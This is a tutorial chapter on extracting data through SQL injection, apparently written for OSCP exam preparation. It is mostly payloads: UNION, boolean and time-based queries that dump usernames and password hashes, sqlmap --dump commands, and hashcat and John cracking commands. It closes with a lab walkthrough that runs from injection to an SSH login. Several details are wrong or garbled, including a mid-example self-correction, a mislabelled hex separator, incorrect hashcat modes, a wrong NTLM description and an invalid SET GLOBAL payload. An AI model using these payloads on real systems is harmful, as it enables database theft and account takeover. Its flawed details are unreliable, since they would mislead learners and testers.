Extracting Data from Databases
Overview
Once you’ve confirmed a SQL injection vulnerability and identified the database type, the next critical step is extracting actual data. This chapter covers every extraction technique you’ll need for OSCP labs and real-world engagements.
The three main extraction channels are:
| Technique | Visibility | Speed | Stealth | Best For |
|---|---|---|---|---|
| UNION-based | In-page response | Fast | Low | When you can see query results |
| Boolean-based | Page changes (true/false) | Slow | Medium | When output is hidden but page differs |
| Time-based | Response delay | Slowest | High | When no output visible at all |
1. UNION-Based Data Extraction
1.1 Basic Data Extraction with CONCAT
Once you’ve determined the number of columns and identified writable positions, use CONCAT() to combine multiple fields into a single output column.
-- Basic CONCAT to combine username and password
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users-- -
-- Using multiple CONCAT calls for more fields
' UNION SELECT 1, CONCAT(username, 0x3a, password, 0x3a, email) FROM users-- -
Key separator values:
| Hex Value | Character | Use Case |
|---|---|---|
0x3a |
: (colon) |
Clean field separator |
0x3c62723e |
<br> |
HTML line break for multi-line output |
0x7c |
| (pipe) |
Alternative separator |
0x2d |
- (dash) |
Simple separator |
-- Using colon separator
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users-- -
-- Output: admin:5f4dcc3b5aa765d61d8327deb882cf99
-- Using <br> for multi-line display in HTML context
' UNION SELECT 1, CONCAT(username, 0x3c62733e, password) FROM users-- -
-- Output renders as:
-- admin
-- 5f4dcc3b5aa765d61d8327deb882cf99
1.2 GROUP_CONCAT for Bulk Extraction
GROUP_CONCAT() combines multiple rows into a single result — the most powerful UNION extraction technique.
-- Extract ALL usernames and passwords in ONE query
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users-- -
-- Output:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99
-- john:25d55ad283aa400af464c76d713c07ad
-- jane:e99a18c428cb38d5f260853678922e03
-- With table name for context
' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM information_schema.tables WHERE table_schema=database()-- -
1.3 GROUP_CONCAT Length Limits and Workarounds
The Problem: MySQL’s GROUP_CONCAT has a default group_concat_max_len of 1024 bytes. If your data exceeds this, it gets silently truncated.
-- Check current limit
' UNION SELECT 1, @@group_concat_max_len-- -
-- Typical result: 1024
Workaround 1: Use LIMIT/OFFSET to paginate
-- First batch
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,5-- -
-- Second batch
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 5,5-- -
-- Continue incrementing offset until no results
Workaround 2: Extract specific columns separately
-- Just usernames
' UNION SELECT 1, GROUP_CONCAT(username SEPARATOR 0x3c62723e) FROM users-- -
-- Just passwords
' UNION SELECT 1, GROUP_CONCAT(password SEPARATOR 0x3c62723e) FROM users-- -
Workaround 3: Filter to specific rows
-- Extract only the first user
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 0,1-- -
-- Extract only the second user
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 1,1-- -
1.4 LIMIT/OFFSET Pagination
-- Syntax: LIMIT <offset>, <count>
-- Get rows 1-10
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,10-- -
-- Get rows 11-20
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 10,10-- -
-- Get rows 21-30
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 20,10-- -
Complete UNION extraction workflow:
-- Step 1: Determine column count (already done in recon)
' ORDER BY 3-- -
-- Step 2: Confirm writable column
' UNION SELECT 1,2,3-- -
-- Step 3: Extract database name
' UNION SELECT 1, database(), 3-- -
-- Step 4: Extract all tables
' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e), 3 FROM information_schema.tables WHERE table_schema=database()-- -
-- Step 5: Extract columns from target table
' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR 0x3c62723e), 3 FROM information_schema.columns WHERE table_name='users'-- -
-- Step 6: Extract data
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e), 3 FROM users-- -
-- Step 7: If truncated, paginate
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e), 3 FROM users LIMIT 5,5-- -
2. Boolean-Based Data Extraction
2.1 When to Use Boolean-Based Extraction
Use boolean-based extraction when:
- The page returns different content for true vs. false queries
- No direct query output is visible
- Error messages are suppressed
Detection pattern:
?id=1 AND 1=1 → Page shows normal content (TRUE)
?id=1 AND 1=2 → Page shows different/missing content (FALSE)
2.2 Length Determination Before Extraction
Always determine the length of your target data before extracting characters.
-- Determine length of database name
?id=1 AND LENGTH(database())=5-- -
?id=1 AND LENGTH(database())=6-- -
?id=1 AND LENGTH(database())=7-- -
-- When page returns TRUE, you've found the length
-- Determine length of first username
?id=1 AND LENGTH((SELECT username FROM users LIMIT 0,1))=5-- -
-- Determine length of first password hash
?id=1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=32-- -
2.3 Character-by-Character Extraction with SUBSTRING
-- Extract first character of database name
?id=1 AND SUBSTRING(database(),1,1)='s'-- -
?id=1 AND SUBSTRING(database(),1,1)='e'-- -
?id=1 AND SUBSTRING(database(),1,1)='c'-- -
-- Continue until TRUE → first char is 's'
-- Extract second character
?id=1 AND SUBSTRING(database(),2,1)='e'-- -
-- Continue...
-- Syntax: SUBSTRING(target_string, position, length)
2.4 ASCII Binary Search Method (Detailed Algorithm)
Instead of guessing each character (26 attempts per character), use binary search on ASCII values to reduce to ~8 attempts per character.
The Algorithm:
For each character position (1 to N):
low = 32 (space character)
high = 126 (~ tilde)
While low <= high:
mid = (low + high) / 2
Test: ASCII(SUBSTRING(target, position, 1)) > mid
If TRUE: low = mid + 1 (character is in upper half)
If FALSE: high = mid - 1 (character is in lower half)
Character ASCII value = low (= high + 1)
Convert ASCII to character
Step-by-step example — extracting first character of database name:
-- Round 1: mid = (32 + 126) / 2 = 79
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 79-- -
-- Result: TRUE → character is between 80-126
-- Round 2: mid = (80 + 126) / 2 = 103
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 103-- -
-- Result: FALSE → character is between 80-103
-- Round 3: mid = (80 + 103) / 2 = 91
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 91-- -
-- Result: FALSE → character is between 80-91
-- Round 4: mid = (80 + 91) / 2 = 85
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 85-- -
-- Result: FALSE → character is between 80-85
-- Round 5: mid = (80 + 85) / 2 = 82
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 82-- -
-- Result: FALSE → character is between 80-82
-- Round 6: mid = (80 + 82) / 2 = 81
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 81-- -
-- Result: FALSE → character is between 80-81
-- Round 7: mid = (80 + 81) / 2 = 80
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > 80-- -
-- Result: TRUE → character is between 81-81
-- Character found: ASCII 81 = 'Q'... wait, let's say it's 's' (ASCII 115)
-- Let me redo with correct target:
-- Actually for 'security' database, first char 's' = ASCII 115
-- Round 1: mid = 79, 115 > 79 → TRUE, low = 80
-- Round 2: mid = 103, 115 > 103 → TRUE, low = 104
-- Round 3: mid = 115, 115 > 115 → FALSE, high = 114
-- Round 4: mid = 109, 115 > 109 → TRUE, low = 110
-- Round 5: mid = 112, 115 > 112 → TRUE, low = 113
-- Round 6: mid = 113, 115 > 113 → TRUE, low = 114
-- Round 7: mid = 114, 115 > 114 → TRUE, low = 115
-- low = 115, high = 114 → STOP
-- ASCII 115 = 's' ✓
Efficiency comparison:
| Method | Attempts per character | For 32-char MD5 hash |
|---|---|---|
| Linear (a-z) | Up to 26 | Up to 832 requests |
| Binary search | ~7-8 | ~224-256 requests |
2.5 Extracting Password Hashes Character by Character
-- First determine the length
?id=1 AND LENGTH((SELECT password FROM users WHERE username='admin' LIMIT 0,1))=32-- -
-- TRUE → MD5 hash (32 characters)
-- Extract character 1 using binary search
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),1,1)) > 64-- -
-- Continue binary search...
-- Found: ASCII 97 = 'a'
-- Extract character 2
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin' LIMIT 0,1),2,1)) > 64-- -
-- Continue binary search...
-- Found: ASCII 102 = 'f'
-- Continue for all 32 characters...
-- Result: af4dcc3b5aa765d61d8327deb882cf99
2.6 Extracting Usernames
-- Determine how many users exist
?id=1 AND (SELECT COUNT(*) FROM users) > 0-- -
?id=1 AND (SELECT COUNT(*) FROM users) > 5-- -
-- Binary search to find exact count
-- Determine length of first username
?id=1 AND LENGTH((SELECT username FROM users LIMIT 0,1))=5-- -
-- Extract first username character by character
?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)) > 96-- -
-- Found: ASCII 97 = 'a'
?id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),2,1)) > 116-- -
-- Found: ASCII 100 = 'd'
-- Continue... Result: 'admin'
-- Extract second username
?id=1 AND LENGTH((SELECT username FROM users LIMIT 1,1))=4-- -
-- Extract character by character... Result: 'john'
2.7 Complete Boolean Extraction Workflow Example
Scenario: Extract all usernames and passwords from the users table.
STEP 1: Confirm boolean-based injection
?id=1 AND 1=1 → Page loads normally
?id=1 AND 1=2 → Page shows "No results"
STEP 2: Determine database name length
?id=1 AND LENGTH(database())=8-- - → TRUE
Database name is 8 characters long
STEP 3: Extract database name (binary search each char)
Position 1: ASCII binary search → 's' (115)
Position 2: ASCII binary search → 'e' (101)
Position 3: ASCII binary search → 'c' (99)
Position 4: ASCII binary search → 'u' (117)
Position 5: ASCII binary search → 'r' (114)
Position 6: ASCII binary search → 'i' (105)
Position 7: ASCII binary search → 't' (116)
Position 8: ASCII binary search → 'y' (121)
Database: 'security'
STEP 4: Count tables in current database
?id=1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()) > 3-- -
→ Found 5 tables
STEP 5: Extract first table name
?id=1 AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=5-- -
→ 5 characters
Binary search each position → 'users'
STEP 6: Count columns in 'users' table
?id=1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') > 3-- -
→ 4 columns
STEP 7: Extract column names
Column 1: 'id'
Column 2: 'username'
Column 3: 'password'
Column 4: 'email'
STEP 8: Count users
?id=1 AND (SELECT COUNT(*) FROM users) > 2-- -
→ 3 users
STEP 9: Extract User 1
Length of username: 5 → 'admin'
Length of password: 32 → Binary search each char → '5f4dcc3b5aa765d61d8327deb882cf99'
STEP 10: Extract User 2
Length of username: 4 → 'john'
Length of password: 32 → Binary search each char → '25d55ad283aa400af464c76d713c07ad'
STEP 11: Extract User 3
Length of username: 4 → 'jane'
Length of password: 32 → Binary search each char → 'e99a18c428cb38d5f260853678922e03'
RESULTS:
admin:5f4dcc3b5aa765d61d8327deb882cf99
john:25d55ad283aa400af464c76d713c07ad
jane:e99a18c428cb38d5f260853678922e03
3. Time-Based Data Extraction
3.1 When to Use Time-Based Extraction
Use time-based extraction when:
- The page returns identical content regardless of query result
- No error messages are displayed
- No visible difference between true/false conditions
- You can only detect the vulnerability by measuring response time
Detection pattern:
?id=1 → Response in 1 second
?id=1 AND SLEEP(5) → Response in 6 seconds ← CONFIRMED!
3.2 Conditional SLEEP Extraction (MySQL)
-- Basic detection
?id=1 AND IF(1=1, SLEEP(5), 0)-- -
-- Response delayed by 5 seconds → injection confirmed
-- Extract first character of database name
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)-- -
-- Delay of 5 seconds → first char is ASCII 115 = 's'
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=97, SLEEP(5), 0)-- -
-- No delay → first char is NOT 'a'
-- Binary search with SLEEP
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(5), 0)-- -
-- Delay → character ASCII > 100
3.3 Binary Search with Time Delays
-- Same binary search algorithm as boolean-based, but using time instead of page content
-- Round 1: mid = 79
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 79, SLEEP(5), 0)-- -
-- Delay → TRUE, character is 80-126
-- Round 2: mid = 103
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 103, SLEEP(5), 0)-- -
-- Delay → TRUE, character is 104-126
-- Round 3: mid = 115
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1)) > 115, SLEEP(5), 0)-- -
-- No delay → FALSE, character is 104-115
-- Continue until narrowed down to single ASCII value
3.4 BENCHMARK-Based Extraction (MySQL)
BENCHMARK() executes a function repeatedly, consuming CPU time:
-- Basic detection
?id=1 AND BENCHMARK(10000000, SHA1('test'))-- -
-- Significant delay → injection confirmed
-- Conditional extraction
?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=115, BENCHMARK(10000000, SHA1('test')), 0)-- -
-- Delay → first char is 's'
-- BENCHMARK syntax: BENCHMARK(iterations, function)
?id=1 AND IF(SUBSTRING(database(),1,1)='s', BENCHMARK(50000000, SHA1('security')), 0)-- -
SLEEP vs BENCHMARK:
| Feature | SLEEP() | BENCHMARK() |
|---|---|---|
| Reliability | High | High |
| WAF evasion | May be blocked | Better chance |
| CPU impact | Low | High |
| Precision | Seconds | Configurable |
3.5 WAITFOR DELAY Extraction (MSSQL)
-- Basic detection
?id=1; WAITFOR DELAY '0:0:5'-- -
-- 5 second delay → MSSQL injection confirmed
-- Conditional extraction using IF
?id=1; IF(ASCII(SUBSTRING((SELECT TOP 1 username FROM users),1,1))=97) WAITFOR DELAY '0:0:5'-- -
-- Delay → first char of first username is 'a'
-- WAITFOR DELAY format: 'hours:minutes:seconds'
?id=1; IF(1=1) WAITFOR DELAY '0:0:3'-- -
-- Extract database name length
?id=1; IF(LEN(DB_NAME())=8) WAITFOR DELAY '0:0:5'-- -
3.6 pg_sleep Extraction (PostgreSQL)
-- Basic detection
?id=1 AND pg_sleep(5)-- -
-- 5 second delay → PostgreSQL injection confirmed
-- Conditional extraction
?id=1 AND (SELECT CASE WHEN ASCII(SUBSTRING(current_database(),1,1))=115 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- -
-- Delay → first char is 's'
-- Alternative syntax
?id=1 AND (SELECT CASE WHEN SUBSTRING(current_database(),1,1)='s' THEN pg_sleep(5) ELSE NULL END)-- -
3.7 Complete Time-Based Extraction Algorithm
STEP 1: Confirm time-based injection
MySQL: ?id=1 AND SLEEP(5)-- -
MSSQL: ?id=1; WAITFOR DELAY '0:0:5'--
PostgreSQL:?id=1 AND pg_sleep(5)--
STEP 2: Determine target length
?id=1 AND IF(LENGTH(database())=8, SLEEP(5), 0)-- -
→ 8 seconds delay means length is 8
STEP 3: For each character position (1 to length):
low = 32, high = 126
While low <= high:
mid = (low + high) / 2
Send: ?id=1 AND IF(ASCII(SUBSTRING(database(),position,1)) > mid, SLEEP(5), 0)-- -
If delayed: low = mid + 1
If not delayed: high = mid - 1
Record character at ASCII value = low
STEP 4: Repeat for all targets (tables, columns, data)
TIMING ESTIMATE:
Database name (8 chars): 8 × 7 requests × 5 seconds = ~280 seconds
MD5 hash (32 chars): 32 × 7 requests × 5 seconds = ~1120 seconds (~19 minutes)
Full user extraction: 30-60 minutes per user
4. Bulk Data Extraction Techniques
4.1 Comparison Table of Techniques
| Technique | Speed | Stealth | Reliability | Best Use Case |
|---|---|---|---|---|
| UNION + GROUP_CONCAT | ⚡ Fastest | Low | High | Visible output, small-medium datasets |
| UNION + LIMIT/OFFSET | ⚡ Fast | Low | High | Visible output, large datasets |
| Boolean Binary Search | 🐢 Slow | Medium | High | Hidden output, page differs |
| Time-Based SLEEP | 🐌 Slowest | High | Medium | No visible output at all |
| sqlmap –dump | ⚡ Fast | Low | High | Automation, any scenario |
4.2 Using LIMIT with OFFSET for Pagination
-- Extract users in batches of 5
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,5-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 5,5-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 10,5-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 15,5-- -
-- Continue until empty result
-- Extract single rows for precision
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 0,1-- -
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 1,1-- -
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users LIMIT 2,1-- -
4.3 Subquery with Row Numbering
When you need to target specific rows without knowing IDs:
-- MySQL 8.0+ with ROW_NUMBER()
' UNION SELECT 1, (SELECT username FROM (SELECT username, ROW_NUMBER() OVER(ORDER BY id) as rn FROM users) t WHERE rn=1)-- -
-- MySQL 5.x workaround using variable
' UNION SELECT 1, @row:=@row+1, username FROM users, (SELECT @row:=0) r LIMIT 10-- -
-- Subquery to get Nth user
' UNION SELECT 1, (SELECT username FROM users ORDER BY id LIMIT 5,1)-- -
' UNION SELECT 1, (SELECT password FROM users ORDER BY id LIMIT 5,1)-- -
4.4 GROUP_CONCAT with Custom Separators
-- Colon separator (clean for parsing)
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x2c) FROM users-- -
-- Output: admin:hash1,john:hash2,jane:hash3
-- HTML line break (renders nicely in browser)
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users-- -
-- Pipe separator
' UNION SELECT 1, GROUP_CONCAT(username, 0x7c, password SEPARATOR 0x3c62723e) FROM users-- -
-- Multi-field with different separators
' UNION SELECT 1, GROUP_CONCAT(id, 0x3a, username, 0x3a, password, 0x3a, email SEPARATOR 0x3c62723e) FROM users-- -
-- Output:
-- 1:admin:hash1:admin@example.com
-- 2:john:hash2:john@example.com
-- 3:jane:hash3:jane@example.com
4.5 sqlmap –dump Automation
sqlmap automates all extraction techniques. Here are the essential commands:
# Basic dump of all tables
sqlmap -u "http://target.com/vuln.php?id=1" --dump
# Dump specific table
sqlmap -u "http://target.com/vuln.php?id=1" -T users --dump
# Dump specific columns from a table
sqlmap -u "http://target.com/vuln.php?id=1" -T users -C username,password --dump
# Dump all databases
sqlmap -u "http://target.com/vuln.php?id=1" --dbs
# Dump specific database
sqlmap -u "http://target.com/vuln.php?id=1" -D security --dump
# Dump with WHERE filter
sqlmap -u "http://target.com/vuln.php?id=1" -T users --dump -where "username='admin'"
# Dump all tables from all databases
sqlmap -u "http://target.com/vuln.php?id=1" --dump-all
# Specify injection technique
sqlmap -u "http://target.com/vuln.php?id=1" --technique=B --dump # Boolean only
sqlmap -u "http://target.com/vuln.php?id=1" --technique=T --dump # Time-based only
sqlmap -u "http://target.com/vuln.php?id=1" --technique=U --dump # UNION only
# Set request delay (important for rate limiting)
sqlmap -u "http://target.com/vuln.php?id=1" --delay=2 --dump
# Use threads for faster extraction
sqlmap -u "http://target.com/vuln.php?id=1" --threads=3 --dump
# Save results to specific directory
sqlmap -u "http://target.com/vuln.php?id=1" --dump -o
# Common full workflow
sqlmap -u "http://target.com/vuln.php?id=1" \
--batch \
--random-agent \
--level=3 \
--risk=2 \
--dbs \
-D security \
--tables \
-T users \
--columns \
--dump \
-C username,password,email
sqlmap output location:
~/.local/share/sqlmap/output/target.com/dump/
├── security/
│ └── users.csv
5. Handling Large Datasets
5.1 Pagination Strategies
Strategy 1: UNION with LIMIT/OFFSET (Recommended)
-- Batch size of 10, increment offset by 10 each time
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,10-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 10,10-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 20,10-- -
Strategy 2: Boolean-based with row targeting
-- Extract user at position N
?id=1 AND ASCII(SUBSTRING((SELECT username FROM users ORDER BY id LIMIT N,1),1,1)) > 64-- -
-- Increment N for each user
Strategy 3: Time-based with row targeting
?id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users ORDER BY id LIMIT N,1),1,1)) > 64, SLEEP(5), 0)-- -
5.2 Chunking Data Extraction
For very large datasets, chunk by known criteria:
-- Chunk by username alphabetically
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE username LIKE 'a%'-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE username LIKE 'b%'-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE username LIKE 'c%'-- -
-- Chunk by ID range
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE id BETWEEN 1 AND 100-- -
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users WHERE id BETWEEN 101 AND 200-- -
5.3 Dealing with GROUP_CONCAT max_length
-- Check the current limit
' UNION SELECT 1, @@global.group_concat_max_len-- -
-- If you have admin access, increase it (rare in labs)
' UNION SELECT 1, SET GLOBAL group_concat_max_len=1000000-- -
-- Practical workaround: paginate with LIMIT
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,3-- -
-- Smaller batch sizes ensure you stay under the limit
5.4 Optimizing Boolean-Based Extraction
-- Optimization 1: Use binary search (always!)
-- 7-8 requests per character vs 26+ for linear
-- Optimization 2: Extract length first
?id=1 AND LENGTH((SELECT password FROM users LIMIT 0,1))=32-- -
-- Know exactly how many positions to extract
-- Optimization 3: Extract known patterns first
-- MD5 hashes only contain [0-9a-f], narrow binary search range
?id=1 AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)) > 101-- -
-- For hex chars: low=47 ('/'), high=102 ('f') → only ~5-6 rounds
-- Optimization 4: Use sqlmap for automation
sqlmap -u "http://target.com/vuln.php?id=1" --technique=B --dump --batch
6. Password Hash Extraction and Cracking
6.1 Extracting Common Hash Types
-- MD5 (32 characters, hex only)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: 5f4dcc3b5aa765d61d8327deb882cf99
-- SHA1 (40 characters, hex only)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: 356a192b7913b04c54574d18c28d46e6395428ab
-- SHA256 (64 characters, hex only)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
-- bcrypt (60 characters, starts with $2y$)
' UNION SELECT 1, password FROM users WHERE username='admin'-- -
-- Output: $2y$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
6.2 Identifying Hash Types
| Hash Length | Character Set | Likely Type |
|---|---|---|
| 32 | [0-9a-f] |
MD5 |
| 40 | [0-9a-f] |
SHA1 |
| 64 | [0-9a-f] |
SHA256 |
| 128 | [0-9a-f] |
SHA512 |
| 34 | [./A-Za-z0-9] |
MD5 (Base64) |
| 60 | Starts with $2y$ |
bcrypt |
| 60 | Starts with $2a$ |
bcrypt |
| Variable | Starts with $argon2 |
Argon2 |
| 13 | Starts with V |
NTLM (Windows) |
-- Determine hash type by length
' UNION SELECT 1, LENGTH(password) FROM users WHERE username='admin'-- -
-- 32 → MD5
-- 40 → SHA1
-- 64 → SHA256
6.3 Using hashcat for Cracking
# Save extracted hashes to a file
# hashes.txt:
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# john:25d55ad283aa400af464c76d713c07ad
# jane:e99a18c428cb38d5f260853678922e03
# Crack MD5 hashes (mode 0)
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Crack SHA1 hashes (mode 100)
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt
# Crack SHA256 hashes (mode 1400)
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt
# Crack bcrypt hashes (mode 3200)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# Common hashcat modes for OSCP:
# -m 0 MD5
# -m 10 SHA1
# -m 100 SHA1 (salted)
# -m 1400 SHA256
# -m 1700 SHA512
# -m 3200 bcrypt
# -m 1000 NTLM
# -m 900 MySQL4.1+
# With rule-based attack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Resume interrupted attack
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --restore
# Show cracked passwords
hashcat -m 0 hashes.txt --show
6.4 Using John the Ripper
# Format for John (username:hash)
# john.txt:
# admin:5f4dcc3b5aa765d61d8327deb882cf99
# john:25d55ad283aa400af464c76d713c07ad
# Auto-detect format and crack
john john.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Specify format explicitly
john john.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
# Show cracked passwords
john john.txt --show
# Common John formats:
# raw-md5 MD5
# raw-sha1 SHA1
# raw-sha256 SHA256
# bcrypt bcrypt
# nt NTLM
# mysql MySQL native
6.5 Common OSCP Hash Cracking Workflow
STEP 1: Extract the hash
' UNION SELECT 1, CONCAT(username, 0x3a, password) FROM users-- -
Result: admin:5f4dcc3b5aa765d61d8327deb882cf99
STEP 2: Identify hash type
Length = 32, hex chars → MD5
STEP 3: Save to file
echo "admin:5f4dcc3b5aa765d61d8327deb882cf99" > hashes.txt
STEP 4: Try online lookup first (fastest)
https://crackstation.net/
https://md5hashing.net/
→ "password" found!
STEP 5: If not found online, use hashcat
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
→ 5f4dcc3b5aa765d61d8327deb882cf99:password
STEP 6: If still not cracked, try rules
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
STEP 7: Use cracked credentials
SSH: ssh admin@target -p 22
Web: Login with admin:password
Database: mysql -u admin -p'password' -h target
7. Complete Walkthrough Example
Scenario: OSCP Lab Machine — SQL Injection to Data Extraction
Target: http://10.10.10.100/search.php?q=laptop
Phase 1: Vulnerability Confirmation
# Test for SQL injection
http://10.10.10.100/search.php?q=laptop'
# → SQL error or unexpected behavior
# Confirm with boolean test
http://10.10.10.100/search.php?q=laptop' AND 1=1-- -
# → Normal results
http://10.10.10.100/search.php?q=laptop' AND 1=2-- -
# → No results / different page
# Confirm with time-based test
http://10.10.10.100/search.php?q=laptop' AND SLEEP(5)-- -
# → 5 second delay confirms injection
Phase 2: Determine Column Count
# ORDER BY method
http://10.10.10.100/search.php?q=laptop' ORDER BY 1-- - # OK
http://10.10.10.100/search.php?q=laptop' ORDER BY 2-- - # OK
http://10.10.10.100/search.php?q=laptop' ORDER BY 3-- - # OK
http://10.10.10.100/search.php?q=laptop' ORDER BY 4-- - # Error!
# → 3 columns
# UNION method
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1,2,3-- -
# → Shows "1 2 3" on page → column 2 is writable
Phase 3: Database Reconnaissance
# Database name
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, database(), 3-- -
# → "webapp"
# MySQL version
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, version(), 3-- -
# → "5.7.32"
# Current user
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, user(), 3-- -
# → "webapp@localhost"
# All databases
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e), 3 FROM information_schema.schemata-- -
# → webapp, information_schema, mysql
# Tables in current database
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e), 3 FROM information_schema.tables WHERE table_schema=database()-- -
# → products, users, orders, sessions
# Columns in users table
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR 0x3c62723e), 3 FROM information_schema.columns WHERE table_name='users'-- -
# → id, username, password, email, role
Phase 4: Data Extraction
# Extract all user data at once
http://10.10.10.100/search.php?q=laptop' UNION SELECT 1, GROUP_CONCAT(id, 0x3a, username, 0x3a, password, 0x3a, email, 0x3a, role SEPARATOR 0x3c62723e), 3 FROM users-- -
# Output:
# 1:admin:5f4dcc3b5aa765d61d8327deb882cf99:admin@webapp.local:admin
# 2:jdoe:25d55ad283aa400af464c76d713c07ad:jdoe@webapp.local:user
# 3:asmith:e99a18c428cb38d5f260853678922e03:asmith@webapp.local:user
Phase 5: Hash Cracking
# Save hashes
cat > hashes.txt << 'EOF'
admin:5f4dcc3b5aa765d61d8327deb882cf99
jdoe:25d55ad283aa400af464c76d713c07ad
asmith:e99a18c428cb38d5f260853678922e03
EOF
# Crack with hashcat
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Results:
# 5f4dcc3b5aa765d61d8327deb882cf99:password
# 25d55ad283aa400af464c76d713c07ad:abc123
# e99a18c428cb38d5f260853678922e03:letmein
Phase 6: Post-Exploitation
# Use credentials for SSH
ssh admin@10.10.10.100
# Password: password
# Or use for web login
